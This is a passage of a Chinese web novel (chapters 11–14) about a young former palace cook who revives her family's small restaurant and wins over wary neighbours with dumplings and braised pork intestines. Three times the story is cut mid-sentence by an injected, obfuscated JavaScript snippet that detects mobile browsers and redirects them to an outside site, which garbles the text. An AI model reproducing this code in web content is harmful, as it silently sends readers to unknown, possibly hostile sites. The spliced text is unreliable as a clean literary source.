不乏有看热闹的居民，想当初饭馆老板夫妇双双去世，生意惨淡下来，一天比一天差。 而现在老板夫妇的女儿接手了饭馆，生意慢慢好了起来。 他们乐意见之。 也有一小部分人看不惯饭馆生意好。 “一个小丫头片子不知道从哪里拜师学艺，也就这两天生意能看，等时间一久，肯定要摔个大跟头！” “就是汤还不收钱，肯定饭菜难吃，心虚了呗！” “……” 唐可儿很是生气，不是这样的。 11. 第11章 她张了张嘴，有心解释。 唐玉出来，听到这话，莫名挺直脊背。 “可儿跟姐姐进去，不用理他们！” “可是姐姐，他们说的好过分”，唐可儿嘟起嘴，为她而不满。 “搭理他们只会浪费我们的时间与情绪，不用管他们”，唐玉淡然回道。 什么大风大浪唐玉没见过，曾经有一次皇帝最宠爱的贵妃因用了御膳房的吃食，而生病不起，皇帝重怒，将御膳房众人关进大牢。 师傅告诫她，“人行的正，坐的端，就不怕一切”，没过多久，果然真相大白，他们被释放出来，回到御膳房。 离开前，夏雨打包了份香菇鸡带走。 夏母刚做好晚菜端出来，看到夏雨手上提着什么，“又买了什么，都要吃饭了还花冤枉钱！” “妈你可冤枉我了！”夏雨解释，眨了眨眼，“给你打包了前面饭馆的香菇鸡，我猜你和小雨一定没尝过。” “我们巷子那家的？”夏母下意识问，怒气慢慢平息下来。 “是的。” 这下夏母紧皱的眉头顿时舒展开来，“不说了，你去房里叫小海吃饭，你再来吃点。” “妈，我在那饭馆吃撑了，叫小海出来，我就去房间躺了”，夏雨感觉这样下去她要长胖了。 “那好吧。” 夏海本来没有什么食欲，但他姐非喊他出来吃饭。 “有香菇鸡，你小子有口福了！”夏母瞥了他眼。 夏海原本不抱希望，等香菇鸡一打开盖，他迟疑拿起筷子一尝，立马被味道征服了。 “哟，哪里买的香菇鸡？妈，味道可以啊”，夏海坐直身子，眼睛快享受地眯成一条缝。香，可真香！ 香菇嫩滑，香气扑鼻，而鸡肉特别鲜嫩，没有一丝丝腥味，夏海很是满足。 很快，他吃完块鸡肉，伸手又要去夹。 却被他妈拦下，“不是说不想吃吗？” 夏海眼神飘忽，“妈，我前面开玩笑的，不吃饱饭晚上怎么睡的着！” 见夏母不退让，夏海哭泣道，“妈，你看你心爱的儿子多么瘦了，快连筷子都握不住了！” 他这番睁眼说瞎话，夏母实在没脸看。 夏海却后悔前面的话说早了，早知道就说他要吃得走不动路。 房东送的萝卜唐玉拿来饭馆，还剩下些，唐玉担心放久了不好，决定做腌萝卜。 唐玉把洗净的萝卜对半切开，切薄片，拿来个干净的盆，放盐抓匀腌一阵。 算好时间差不多，把腌过盆里的水倒出来，再这样两次腌糖，然后用清水冲洗遍，加白糖，盐，干辣椒和泡椒段，又倒入适量醋与凉白开，然后把腌萝卜放进罐子里，盖子扭紧，过了一天一夜就可以吃了。 唐可儿不知道姐姐在做什么，安静地看着。 王家。 王奶奶提了份盒饭回来，看老头子在那看新闻，晚饭是没动几口。 “你不是最喜欢吃饭馆的盖浇饭吗，我给你带了份回来！” 王大爷连新闻都不看了，凑过去闻了闻，好熟悉的味道，“唐家饭馆的？” “对啊，我去的时候店里人还不少！”王奶奶没好气道，还排了会儿队。 一提到唐家饭馆王大爷就兴奋起来，邀请老伴儿道，“你也没怎么吃晚饭，我去盛两碗饭，我们一起吃。” “不用了，我吃了小半碗饱了！”王奶奶想都没想道。 人年纪一大，胃口就不好了，每餐能吃一碗饭就好了。 闻言，王大爷有些可惜看了眼王奶奶。 盛好饭，迫不及待拿起筷子。 看到这一层香菇和鸡肉，王大爷的胃叫嚣起来。 盖浇饭还热乎，热气顺着盒盖掀开的动作冒出，香菇的鲜与鸡肉的鲜很是霸道钻进鼻腔，他看到底下积了层深酱色的汤汁，油亮亮的，味道很浓郁，很是馋人。 用来拌饭肯定不错，王大爷心想道。 忍着饥饿，他慢条斯理尝了下鸡肉。 很嫩，轻轻一抿鸡肉就脱了骨，肉嫩扎实，既有纯正的肉香，又有股醇厚的酱香。 王大爷喉咙一动，目光很难从香菇鸡上移开，“老伴儿，这鸡肉很嫩，不知道怎么处理的没有一点腥味。” 听到这话，王奶奶觉得他夸张了，自家养的鸡无论炖或炒，做出来总有腥味。 因此她没少在炒菜或炖汤中，加些姜片去腥。 王大爷一看她不信，继续吃起菜。 香菇和鸡肉的味道中和的好，香味浓，吃不出一点腥，鸡肉极为鲜嫩，溢出来的汁水酱香重，香菇却很嫩滑爽口。 把鸡肉全夹在米饭上，王大爷一口米饭一口鸡肉，不由加快速度。 “你吃这么快，不怕噎着？”王奶奶忍不住皱眉，又没人跟他抢。 “嘿，太好吃了！” 王大爷吃快了，只觉得非常过瘾，香菇表面油亮，既有菇香又有油香，两者混合的香气一点不突兀。 而且吸饱了鸡汁，全是咸鲜各种滋味，咬下去汁水爆出来。 王大爷吃得津津有味，扒拉着，“好香！” 晚上七点多，夜幕降临，各家各户开灯。 唐玉在看小孩这几天练的字，“可儿，有进步。” 捏了捏小孩的脸蛋，终于长了点肉。 唐可儿眼睛亮晶晶，得到了姐姐的夸张，露出羞涩的笑。 “明天早上可儿想吃什么？”她摸着小孩的脑袋，语气温柔道。 小孩咬着手指头，在思索。 “饺子，可儿想吃饺子可以吗？”小孩小心翼翼问道。 每次在姥姥家，堂哥都能吃到姥姥包的饺子，而她不能。 “那姐姐明天包饺子给你吃！”唐玉爽快答应了。 小孩乐得拍起手。 清晨，唐可儿在一股奇异的香味中醒来。 她昨晚睡的很早，满心期待第二天姐姐做的饺子，被香醒后，彻底睡不着了。 正当小孩吸了吸鼻子时，猛然想起姐姐昨天说过的话：做饺子！ 想到这，她立马起来，穿上鞋就去厨房。 厨房门没有关上，越靠近香味越浓郁。 唐玉拿了块薄薄的面皮，用筷子蘸了点肉馅到皮上，然后没两下包成金元宝状，饺子包好了。 包好最后一个饺子，来不及擦汗。 身后传来小孩的声音，“姐姐在包饺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501327|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子么？” “刚包完了”，唐玉转身回了句，就等着下锅煮熟了。 “好可惜，可儿起晚了没能包饺子”，小孩面露苦色，叹了口气。 “下次姐姐和你一起包饺子”，唐玉弯腰安抚了小孩。 唐可儿脸色一下转晴，“姐姐，那可儿去洗漱了。” 等到锅中水滚沸腾，唐玉放了几滴油，用锅铲慢慢下饺子，然后盖上锅盖煮。 中途她往锅里加入凉水，眼见饺子浮起，肚皮胀起来，隐约能看到里面的馅料。 关火后，捞出饺子过道凉水。 没等她喊，小孩乐呵呵跑过来，“姐姐，能吃饺子了？” 唐玉点点头。 她看着小孩突然低头，凑在碗边闻，“饺子香香的！” “慢慢吃，别烫着了！”她嘱咐道。 唐可儿睁大眼睛，看着舀起的大饺子，白乎乎，低头一咬还很滑溜溜，皮薄有股清香，皮里面还有肉肉！ 咀嚼起来，饺子里的肉肉很嫩很鲜。 见小孩吃这么香，唐玉很高兴。 浓郁的香味也勾起她胃里的馋虫。 吃到后面，小孩还摇头晃脑起来，堂哥吃过的饺子肯定没有姐姐做的好吃！ 唐玉虽然觉得有所不妥，但又认为小孩天性使然，干脆随小孩去了。 很快，唐玉先吃完早饭，看着锅里剩下的饺子，犯起难。 没一会儿，走出来对小孩说，“可儿，姐姐去给楼上的房东送饺子。” “好的哦~”小孩在吸溜着饺子。 唐玉端着盘饺子去楼上，敲门。 房东过来开门，“小玉，你来给我送水饺？” 语气有些惊讶。 “对啊，感谢姐这段时间对我们的照顾，饺子我煮了不少，你不用担心。” “那……”房东迟疑了片刻，但看着盘里那一个个胖乎乎白嫩的饺子，变得坚定了，“谢谢了，小玉。” “不客气！” 关上了门，丈夫从房间里出来，准备去上班，“谁啊来这么早？” “是楼下的唐玉，给我们送饺子”，房东向他展示手中这盘的饺子。 听到这话，丈夫微微一愣，哦他对楼下的苦命姐妹俩有印象，两人好像很不和睦，家里氛围不好。 “来尝尝饺子，我们早饭不用出去吃了”，房东很高兴道。 “你看着饺子，别偷吃啊！”一盘饺子看着素了点，房东叮嘱了句丈夫，转身去厨房调个蘸料，蘸饺子吃。 “好！”丈夫爽快地点头。 瞥了眼饺子，他才不可能偷吃。 房东调好蘸料，看到丈夫往嘴里塞饺子，一个接一个，两颊鼓起来。 “你这不是偷吃是在干什么？”房东恨不得捶几下丈夫，满是生气道。 丈夫擦了下嘴，嘴边还有馅料渣，“我也不知道，饺子有这么好吃！” 才吃了一个，他就像上瘾样停不下来。 “赶紧滚，在我动手前！”房东指着大门口，额头青筋暴起，恶狠狠道。 再一看盘子里的饺子，端过来时至少有二十多个，现在才不到十个。 他今晚别想回房间睡！ 12. 第12章 就着调好的蘸料，房东心累地坐下，吃起饺子。 咬破薄皮的瞬间，汤汁迸发出来，猪肉的油脂香与白菜的清甜香完美交融，咸鲜中带着微甜，蘸上醋料汁后，酸味悠长，解了一部分猪肉的腻，回味无穷。 难怪丈夫一口一个，吃那么起劲！ 显得更加可恶了！ 唐玉早早去了趟菜市场，嘈杂的菜市场，各种吆喝声传来，莫名让她心安。 她把炒面要用的各种配菜买好，准备去肉摊上看看。 忽然看到一处不起眼的摊位，有卖长长的猪大肠。 这段段猪大肠色泽看着真不错。 唐玉突然想称些大肠，回去做红烧肥肠了。 “臭臭~”这时，小孩两手捂住鼻子道。 “老板，这猪大肠怎么卖？”唐玉问正在招呼其他客人的摊主。 摊主正发愁怎么处理臭哄哄的大肠，听到有人要，连忙说，“送你得了。” 原来这里的人们都不爱吃猪大肠，嫌没处理干净，不卫生而且有腥味。 唐玉对脚边小孩说，“猪大肠闻着臭，但吃起来香！” 以往宫中贵人最嫌恶这种东西，嫌上不了台面。 但她和师傅却切磋过多种肥肠的做法，做好后宫女太监小心尝味，一下对这肥肠上头了。 摊主不要钱，但唐玉不想占便宜，“老板，猪大肠你卖我五毛钱一斤怎么样？” 闻言，摊主赶紧点点头，巴不得她将大肠全部卖去。 心满意足提着大肠离开，唐玉又去买了几种香料。 做肥肠中，少不了要用到香料，不然难以去掉大肠的腥臭味。 刚回到饭馆，“老板，今天做什么好菜？” 王大爷要去找周大爷，没想到碰到饭馆老板过来。 “有猪大肠”，唐玉展示了下手中的大肠。 “我说味怎么这么重，原来是老板你买了猪大肠！”王大爷有些不可置信，瞪大眼睛。 他们北城可没有一家饭馆弄猪大肠卖，担心客人不买账！ 王大爷忍不住劝道，“猪大肠我们这条巷子没人乐意吃，老板你还是赶紧扔掉，换个菜吧。” “姐姐，大肠真的好臭！”小孩也有些想不明白，扯了下她的衣服。 唐玉坚决道，“好了大爷，大肠我不会扔轻易换菜，随时欢迎你来我们饭馆用餐。” “可儿我们走”，她没敢牵小孩手，怕小孩嫌她拿过猪大肠后手臭。 王大爷很是失望，指着唐玉的背影，“你这个小丫头片子果然要翻车了！” 弄什么卖不好，偏偏要弄大肠，这怎么让他叫上老伴儿好友去照顾她生意。 清洗大肠不是容易事，唐玉先去烧水，用凉水过了两道大肠，然后热水浇在大肠上去腥臭气，里里外外她都要清洗干净。 洗净后，锅里烧开水，放进大肠焯水。 唐玉把所要用到的香料备好，焯过水的大肠放进锅里，加姜，桂皮，八角一起煮，去腥除臭味。 接着煮过的大肠切成小段，炒的时候容易入味。 夏海昨晚没睡好，做了个噩梦，梦见他去吃盖浇饭，好不容易排到他，老板告诉他盖浇饭卖完了，他只好忍痛要了份炒面，刚要吃，他妈出现抢走了他的炒面，他在后面狂追，他妈却越跑越快，直到看不到她身影…… 惊醒过后夏海再也没睡着，在院子里散步转起圈来，他妈清晨六点起来一看到，被他吓了一跳！ 夏海直接去饭馆，等了好久，终于看到门开了。 此时店里客人闹哄哄，全围在小黑板前。 “竟然有红烧肥肠这道菜，饭馆等着倒闭吧！” “老板真够年轻无知，连我们爱吃什么不喜欢吃什么都不知道！” “我们今天就等着看老板笑话！” “……” 夏海有些好奇前面发生了什么事，艰难穿过人群，到了小黑板前。 菜单上竟然有红烧肥肠！ 老板到底怎么想的，难道不知道他们不喜欢吃红烧肥肠？ 夏海恨不得冲去后厨房，提醒老板。 毕竟这家店在桂花巷开了好几年，突然一换老板，味道好起来。 他更希望饭馆能在桂花巷长长久久开下去。 前面传来的吵闹声，唐玉隐约知道是什么事。 但大肠只等一炒，就能给客人端过去。 她不想浪费心心念念准备好的大肠。 唐玉随后走了出去，大堂内看热闹的人很多。 一看老板出来，纷纷围上去，“老板你糊涂，干嘛做什么肥肠盖浇饭！” 唐玉提高音量，“既然我在菜单上写了这道菜，客人点不点这道菜，就不关我的事了。” 一看她如此自信，夏海好奇，难道厨房里有什么秘密？ 可随着一阵卤香味传来，他率先看向厨房，其他人也紧随其后。 唐可儿也好奇，没忍住去厨房一探究竟。 实在不怪她，这味道跟个小钩子似的很勾人。 只是多闻几下，就叫人想流口水。 唐玉一看众人神情，弯了弯唇，没把简单做好的大肠端过来。 夏海擦着嘴边的口水，迟疑道，“给我来个红……烧肥肠，老板。” 此话一出，大堂其他人震惊不已。 唐玉被他们吃惊的模样乐到，弯了下唇，“你找地方坐，肥肠马上做好。” “好”，夏海脑袋有些晕，找位置坐下。 不少人上前道，“兄弟你知道大肠没处理干净，里面是什么吗？！” “就是就是，这跟吃那东西有什么不同！” 夏海当然知道大肠原本装着什么，但这是两码事啊。 “不要再说了，拜拜你们，等下菜一端上来，我恐怕想吐！” 其他人叽叽喳喳地走开，有的离开，有的去点菜，但都不敢点肥肠盖浇饭。 夏海有些心慌，他相信老板的厨艺没错，可是红烧肥肠不同其他菜，多少大厨来了，都没做完美过。 厨房。 唐玉重新起锅，烧油。 放入冰糖炒出糖色，然后加入姜片、蒜和几种香料，翻炒出香味，纤细的手腕配合的好，展现出力量感，接着下肥肠段，让肥肠裹紧糖色，加入生抽等调料翻炒均匀，加适量清水，盖上锅盖焖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501328|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煮会儿。 再掀开盖，肥肠段吸饱了汤汁，油亮十足。 夏海左等右等，内心忐忑不安。 很快，唐玉端着一盘盖浇饭，轻轻放在夏海面前。 “慢用。” 只见油亮诱人的肥肠段码盖在米饭上，米饭沾染了肥肠酱汁，浓稠的酱汁紧紧裹着米饭，并且不断扩散，不论味道，单从卖相上来说，都是极其不错的。 屏住呼吸的夏海终于敢深呼吸口气，拿起勺子，舀起一大勺米饭混合着肥肠下去，香迷糊他了。 和他想象的不同，肠肠并没有尝出什么奇怪的味道，不知道怎么炒的，很是喷香，另外嚼劲十足，几乎越嚼越嫩滑，好吃的不得了。 没管其他人异样的目光，夏海只顾往嘴里一口一口塞着米饭，胃口仿佛成了个无底洞。 等到不知不觉光了盘，夏海才反应过来他竟然吃掉了一盘盖浇饭！ 要知道放在以前，肥肠这种东西他根本碰都不会碰下，觉得肥肠又腥又臭，没人会乐意花钱吃！ 可他今天不仅吃干净了，在打了几个饱嗝后，还有些想吃！ 真是奇怪了，这份红烧肥肠盖浇饭怎么那么合他心意。 夏海仍有些馋，回味着肥肠滑溜溜的滋味，爽口的很，而且酱香味浓，拌着米饭简直是绝佳搭配。 这时，有人拍了下他肩膀。 夏海正疑惑什么事，那瘦小的男人笑着说，“兄弟，你口味够重啊，我看你肥肠都吃那么香，真是饿坏了！” 不想搭理这人，夏海心想，这人肯定是吃不到葡萄，说葡萄酸。 但不想他诋毁老板做的红烧肥肠，“我饿是真饿了，但不会饥不择食。” “红烧肥肠盖浇饭你没吃过吧，有本事自己去点一份！” 被他挑衅地看着，瘦小的男人当即很生气。 不就是一份红烧肥肠吗，到时候他尝过后不好吃，一定会告诉店里其他客人，肥肠要多么难吃！ 夏海看着瘦小的男人去点餐，勾起嘴角。 没人能拒绝老板做的红烧肥肠！ 他起身去找老板。 “老板，打包一份红烧肥肠盖浇饭！” 夏海心想，这么美味的红烧肥肠，只有他一个人吃过太可惜了，也该带一份回家给他妈和姐尝尝。 说不定到时剩下些肥肠，他又能尝几口味道。 “老板，我没要腌辣椒”，夏海发现袋子里多了个小盒子，里面装着红艳艳的辣椒。 “我看你们一家口味偏重，喜欢吃辣，送你们的”，唐玉回道。 “那谢谢了”，夏海露出笑容。 他吃过店里的腌辣椒，又香又辣，挖勺到米饭上，实在下饭的很。 她俩的午饭通常提前吃过了，但因为今天弄大肠，到下午快两点，唐玉两人才吃上午饭。 唐玉炒了个红烧肥肠，又做了个青菜，端到桌上。 小孩一直埋着头，夹青菜到碗里，肠肠看都没看一眼。 “可儿，要不要尝尝肥肠，真的没有腥臭味”，她随口一说。 “不要”，小孩很抗拒，捂着嘴巴，露出黑白分明的大眼睛看着她。 13. 第13章 见此，唐玉也没有强求她。 小孩的口味她一时改变不过来。 桂花巷。 河边的柳树下，两老人在下棋。 周大爷抬眸，看向饭馆方向，“那边闹哄哄的，在做什么？” “老弟你就不知道了吧，饭馆老板到底年轻，店里生意好了个几天，今天非要弄什么猪大肠搞盖浇饭，客人应该看不懂她想干什么”，说到这，王大爷很是得意。 小丫头片子只学了厨艺，但头脑却不够清晰明了，没事弄什么肥肠卖，嫌这几天生意太好了？ 周大爷吃过几次店里的盖浇饭，深知味道不错。 不太想看店里生意走下坡路，甚至到后面倒闭关门，“要不我去提醒下老板，大肠什么的卖一天就算了！” 赶紧调整菜单，一切还来得及。 “你要去提醒就去提醒吧，不管我什么事”，王大爷没好气道。 反正那老板不听他的劝，固执己见。 到时候栽了个大跟头，别怪他当时没有提醒。 唐玉在算账，到目前红烧肥肠才卖出去五份，要是其他盖浇饭这个点，至少卖出去十几份二十多份了！ 小孩在练字，时不时抬头看下姐姐，见姐姐皱着眉头。 “姐姐，要不我们不卖大肠了？”小孩奶声奶气道，进店的客人没几个点肥肠。 “那不行”，唐玉顿了一下，“今天我买了不少大肠，卖不完我不想扔。” 大肠实在便宜的紧，她买下了摊子的所有大肠。 “可是没人喜欢吃这东西啊！”小孩双手托腮，叹了口气。 没人喜欢，唐玉眼前一亮，红烧肥肠卖不出去，是因为没有客人乐意点，要是让他们免费品尝一份呢。 毕竟点过的五个客人里，没人说口感差，有什么异味。 大肠唐玉清洗过多次，而且用多种香料卤煮过，去腥除臭，吃着更加嫩。 想到这，唐玉立马去改菜单。 没有划掉红烧肥肠盖浇饭一行，而是将六块的红烧肥肠改成免费。 至少得将买大肠和香料的钱赚回来。 忙完后，唐玉眼皮沉重，去大堂桌上眯会儿。 小孩还在练字，她不怎么困。 看姐姐在睡觉，不敢发出一点声音吵到她。 下午三点多，太阳斜斜照在饭馆墙面上。 在沙沙的书写声中，唐玉醒过来，光洁的两鬓沁出细微的汗水。 “姐姐，渴不渴？喝水哦”，小孩很乖，端来她的水杯。 唐玉接过，喝了口水润喉。 然后去熬晚上的汤，过来吃盖浇饭的客人都习惯伴汤喝了。 她要用菜市场买的绿豆，熬一锅绿豆汤。 考虑到口感，唐玉没放白糖，而是往锅里放冰糖。 揭开锅盖凉一会儿，她给小孩盛了碗绿豆汤。 这几天太过炎热，小孩身上都起了痱子。 而绿豆汤正好能消暑。 唐可儿拿过碗，绿豆汤清爽香甜的味道顿时飘出来，光闻着热意好像就消去几分。 拿着勺子，小孩低头喝了口汤，眼睛亮起来。 好清甜！ 有些像是加了白糖的糖水，甜滋滋的，但更加好喝。 小孩向来只喜欢喝汤，但这下却把碗里绿豆吃的干干净净，还舔了舔嘴。 唐玉给自己盛了碗绿豆汤，消消暑气后，去厨房忙碌。 五点一到，她把炒好的一份红烧肥肠端去前面，给客人尝味。 香气飘出老远，隔壁小孩被馋哭了，泥巴不玩了，跑去找他妈。 小院两口子一个给人修自行车，一个前不久下岗失业。 女人暂时没找到工作，在家带孩子。 每次快到饭点，饭馆飘来的香味，小孩闻到吵着哭着要吃。 女人没办法，正巧男人回来。 男人叹了口气，给她塞了两块钱，“孩子既然想尝尝，别委屈了他，带他去吃一回。” 攥紧手里的两块钱，女人蹙眉，也不知道两块钱够不够。 顺着香味，女人牵着小孩进来，“我家孩子吵着要吃你家的菜。” 唐玉忙不过来，前面围了不少客人，在看菜单。 “肥肠竟然不要钱，免费的东西能有什么好东西！” “就是送给我，我也不吃肥肠，还不如拿出去喂狗！” “老板这是急了吧，看准备的大肠卖不出去！” “……” 听到这话，女人牵着孩子钻进人群，走上前。 “什么？红烧肥肠盖浇饭不要钱？！” 她正发愁两块钱不够买顿饭，这时眼前一亮。 “对啊，没有冤种上当，老板说买一份红烧肥肠不用花钱！”有人解释道。 女人问过孩子的想法后，对唐玉说，“老板，给我来一份红烧肥肠盖浇饭。” 终于有人点肥肠了，唐玉松了口气。 女人又说，“是不要钱吗？” “给你们免费品尝一份”，唐玉点头，“觉得哪里不够好，可以跟我说。” “老板，我家就在隔壁，能将这份盖浇饭带回去吃，然后等小孩吃完，我把碗给你送过来吗？”人太多了，她家小孩不喜欢这种场合。 “没问题”，唐玉轻松答应。 她回到厨房，将简单处理过的肥肠炒遍。 女人对身边小孩说，“晚上你有肥肠吃了！” “太好了，妈妈”，小孩很高兴。 虽然说大肠在农村才有些人吃，到了城里几乎看不到有哪家饭馆做。 但女人想着不花钱，松了口气。 即使不花钱，唐玉还是炒了份正常份量的红烧肥肠给客人送来。 指着前台桌上的肥肠，“我炒了份肥肠，你们都可以尝尝。” 女人一听有这种好事，对孩子说，“小南，要尝下吗？” 孩子重重点头，“我要尝！” 女人给小孩夹了一筷子肥肠。 “妈妈，肥肠滑溜溜的，好香！” 话落，小孩享受地咀嚼起来。 看他爱吃，女人心满意足端着盖浇饭，和小孩离开。 看热闹的众人：“……” “这女人没钱，来饭馆给她孩子讨吃的了！” “既然没花钱，难吃也就不好意思吃了！” 但有一部分人见小孩吃那么香，想着不用钱，难吃也没事，点了份肥肠盖浇饭。 唐玉给客人准备的尝味红烧肥肠，没人动过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501329|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷。 “这么快就吃完了？”见他们回来，男人诧异道。 “免费的肥肠盖浇饭，谁让你孩子非要吃！” 女人将盖浇饭放桌上，孩子跑去桌边。 “免费的？”男人震惊了。 “可能是看店里肥肠卖不出去，老板只好弄成免费”，女人想了下，“不管怎么样，你孩子能尝到心心念念的肥肠了。” “我觉得可以了，毕竟免费的东西”，男人喃喃道。 小男孩先尝了口油亮的肥肠。 这道菜份量不少，吃起来外脆里嫩，咸辣刚刚好。 炒过的肥肠油而不腻，带着股说不清道不明的香味。 女人在一旁看馋了，“小南，能不能给妈妈尝一口？” “当然可以！”小孩很快答应。 肥肠被切成合适的一段，表面泛着一层浅浅的褐色，挂着诱人莹润的酱汁，再加上红艳似火的辣椒段，看一眼就要流口水。 女人夹起段冒着热气的肥肠，滋啦一声，香辣的卤味冒出来，紧接着是肥肠滑嫩的口感，很弹很嫩。 这肥肠和她以为的大肠不同，那种鲜辣的滋味紧紧粘在嫩滑的肠上，一点腥臭味都没有，反而越嚼越香。 香到她头皮发麻！ 吃过肥肠，女人又尝了口米饭，很是下饭，米饭有股肥肠的咸辣味道。 “妈妈，我还要吃！”见女人又要动筷，小孩急忙道。 “不吃了”，闻言，女人忍痛把筷子给孩子。 饭馆。 回头客还是多，好几天没来的回头客听闻红烧肥肠盖浇饭不要钱。 犹豫了下，“老板，给我来份肥肠。” 王大爷看到这盛况，差点没挤进人群。 “好啊，这红烧肥肠免费了！”他对身后的周大爷说。 周大爷：“免费？那老板不亏大了！” “咱们就不吃肥肠了，点番茄炒蛋盖浇饭怎么样？”他们一把年纪了，不好让老板赚不到钱。 “我看可以。” 女人将盘子洗了，给老板送来。 店里不少客人对女人有印象，交头接耳说起话来。 “我家孩子最爱吃肥肠了，吃的干干净净，差点还将盘子上的汤汁舔了！” 她说的很大声，店里所有人都能听见。 番茄炒蛋盖浇饭一端上来，王大爷看了眼，摆盘很好，但他不喜欢酸酸甜甜的东西。 正巧听到女人的话，王大爷故意问，“小妹，你没有骗人？大肠这玩意儿我们这里没人爱吃！” “我不骗人！”女人拍着胸脯回道，“看，我来还盘子了。” 王大爷原本不相信这话，架不住前面桌上有试吃的红烧肥肠，走过去用小碟子夹了些肥肠，然后舀上两三勺汤汁，看着让人很有胃口。 见老板出来，女人将盘子给她。 “老板，我来还盘子，谢谢你让我家孩子饱餐一顿，你做的肥肠油而不腻，滑嫩爽口，我家孩子太爱吃了！” 被女人这么一夸，唐玉有些不好意思，“不用客气，你家孩子爱吃就行。” 她瞥了眼前台桌上的红烧肥肠，只剩一小半了，好事。 王大爷夹起肥肠，没敢直接往嘴里塞，盯着看了好久。 14. 第14章 “老王，你再这么盯快盯出花了！”周大爷打趣道。 王大爷：“我担心大肠没处理好，有不干净的东西。” “好了，看你这样不太想尝下，干脆别吃了！” 被他这么一激，王大爷来了勇气。 两眼一闭，认命般将肥肠送进嘴里。 突然他睁大了眼睛。 肥肠软烂却不失韧性，入口即化，且略带嚼劲，肥肠内很嫩滑，像是在抚摸上好的丝绸，咀嚼起来能感到微微弹牙。 稍微一抿，酱汁从肥肠里渗透出来，麻辣鲜香尽在舌尖，温润的油脂香，香而不腻。 肥肠的异味彻底没了，留下诱人的香味。 这时，周大爷看了眼吃得津津有味的王大爷，完全没有前面一脸抗拒的样子。心想老板送的肥肠味道应该不错。 他也被这卖相勾起了食欲。 起身去夹些肥肠到盘子里，油亮亮的，看着好吃。 夹起段肥肠放进嘴里，周大爷脸色一下变了。 接着是第二段，第三段……筷子就没有停下来过，“这肥肠有股卤香，应该不仅是炒过。” 王大爷脸快埋进盘子里，“我夹的肥肠还是太少了，再去打点。” 于是起身去夹肥肠，结果发现前台桌上的肥肠没有了，连汤都没剩一点！ “可惜了可惜了！”回来的时候，王大爷一直在叹气。 回到家时，夜色深重。 唐玉拿出口袋里的钱，清点起来。 今天收入才八十，除去成本，赚了不过四十多。 准备的肥肠下午起免费卖，没赚到什么钱。 好在有几个回头客说明天要来点肥肠。 这几天赚的钱加上原来的，快有四百多块了，凑够钱给妹妹交学费，指日可待。 唐玉收好钱，是真累了，洗漱完倒头就睡。 第二天，唐玉去菜市场采购食材。 清晨的雾气很重，菜市场干货店老板是个干瘦的老太太，看到唐玉来，露出一丝不易察觉的笑，“姑娘，你要的小鱼干给你准备好了！、 唐玉抓起把小鱼干，闻了下，咸腥味很重，晒的很干，“就要这袋小鱼干了。” 老太太笑了笑，“那可不是，给你准备的是品质好的食材。” 炒小鱼干得配些辣椒，生姜和蒜，她买了不少青红辣椒，生姜什么的。 昨天的大肠剩下不少，还得继续卖。 回到饭馆，她在小黑板加上香辣小鱼干，标好价格6块一份。 而红烧肥肠也写好价格5块一份。 唐玉先把菜洗好切了，让可儿去前面看会儿，有客人来招待下。 一下课，成柯两人从学校跑来饭馆，“老板终于开门了，我都没什么心思上课了。” 这两人很有学生气，又是第一位客人，唐玉觉得他们有些眼熟，可能是回头客吧。 先把书包放好，成柯看了眼菜单，发现盖浇饭换了，一个是红烧肥肠盖浇饭，一个香辣小鱼干盖浇饭，红烧肥肠说什么，他都无法忍受那难以形容的味道。 那今天尝尝香辣小鱼干，点菜前他问好友，“你要个香辣小鱼干还是红烧肥肠？” “废话，我当然要份香辣小鱼干！”薛梧在整理书本，没好气回了句。 成柯懒得和他计较，“老板，要两份香辣小鱼干。” “好的。” 上了一上午的课，薛梧头昏眼花，直到闻到浓郁的饭菜香，才觉得他活了过来。 他凑近，跟成柯说，“什么肥肠饭，谁会乐意花钱吃？！” “这也说不定”，成柯有些不确定道，毕竟老板的厨艺他们有目共睹。 薛梧撇嘴嘀咕，“这个死脑筋，店里等下一份肥肠都卖不出去！” 这时，店里涌进来好些人。 唐玉端来盖浇饭，“你们俩的香辣小鱼干好了。” “谢谢姐姐！”成柯率先笑着回道。 “你嘴巴怎么这么甜了？”薛梧后知后觉瞥了他眼。 唐玉去招呼客人，态度热情。 “老板，给我来个红烧肥肠！” “我也要一份！” “……” 唐玉似是不好意思指了指小黑板。 昨天给吃爽的客人不明所以，等看到黑板上的新菜单，整个人沉默了。 只见小黑板赫然写着：红烧肥肠盖浇饭，5块一份。 要收钱了。 吃还是不吃，成了摆在他们面前的难题。 唐玉忍不住解释，“我买大肠和香料也花了钱的。” 